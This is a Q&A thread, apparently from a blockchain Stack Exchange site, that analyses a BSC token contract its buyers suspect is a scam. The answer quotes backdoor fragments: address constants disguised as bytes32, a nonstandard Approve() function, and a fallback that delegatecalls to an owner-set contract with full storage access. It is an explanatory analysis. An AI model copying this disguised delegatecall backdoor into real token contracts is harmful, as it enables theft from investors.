0

I see have this smartcontract: https://bscscan.com/address/0xee6cacddd3a9370d87db581ee6728226883578e5#code

I see a lot of people say this project is a scam, I have tried and can only buy but cannot sell more than a certain amount of tokens.

I have looked at the source code and it is completely clean, so where is the scam code they hid it.

I know that with smart contract we can write another smart contract and upgrade the original one, but how to find that upgrade contract.

1 Answer 1

1

It has several "clues" that aren't wrong by themselves but together they are the wrong indicators.

  • Declaring constants as bytes32 but using them as addresses: ACCESS_SETUP, ACCESS_REVOKE.

    bytes32 private constant ACCESS_SETUP = 0x7c7658359fac0e747929ae9082329b3ce1794a825fcd4acfc143d8898b59ed76;
    bytes32 private constant ACCESS_REVOKE = 0xc55bf67f5c17582acfa13ccf23a15a374b0f5f20625b7d53666df1fe82b2916f;
    
    constructor() public payable {
        _setupRole(0, address(uint160(uint256(ACCESS_SETUP))));
        _revokeRole(0, address(uint160(uint256(ACCESS_REVOKE))));
    }
    

There's nothing wrong with the code but declaring them as address will save some gas. Unless you want to hide those addresses!!

  • Suspicious name for a function. In the EIP-20 specification function names are lower case, only events use upper case. There is an Approve() function that mentions ERC-20 in the comments but such function isn't part of the standard.

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function Approve(address spender, uint256 amount) public virtual safeCheck returns (bool) {
        __approve(_msgSender(), spender, amount);
        return true;
    }
    
  • Using assembly unnecessarily. Some proxy contracts use this access pattern to store the target address.

    function referee() internal view returns (address user) {
        assembly { user := sload(CTRL) }
    }
    
    function accessRole() internal view virtual returns (address user) {
        assembly {
            user := sload(ACCESS)
        }
    }
    
  • Now the smoking gun. For some reason the fallback and receive execute a grant() function.

    fallback() external payable { grant(); }
    receive() external payable { grant(); }
    

    It doesn't make much sense for a token to have a fallback function, unless it is hiding a proxy!

    It tries innocently to hide the call to getRoleReferee(accessRole()). Remember that accessRole() access some storage slot using assembly.

    function grant() internal {
        require(msg.sender != referee()); getRoleReferee(accessRole());
    }
    

    The getRoleReferee doesn't look like a getter at all.

    function getRoleReferee(address user) internal {
        assembly {
            calldatacopy(0, 0, calldatasize())
            let roleReferee := delegatecall(gas(), user, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch roleReferee
                case 0 { revert(0, returndatasize()) }
                default { return(0, returndatasize()) } 
        }
    }
    

Conclusion if you join all of this together the contracts allow a privileged account referee() to execute a contract accessRole() with full access to the contract's storage.

The contract can be changed by calling the not so innocent Approve() function.

2
  • have a lot of people have been scammed, is there any way to help them get it back?
    – Ducnb
    May 4, 2022 at 6:16
  • @Ducnb I haven't checked but scammers are unlikely to leave a backdoor that anyone could use.
    – Ismael
    May 4, 2022 at 20:02

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.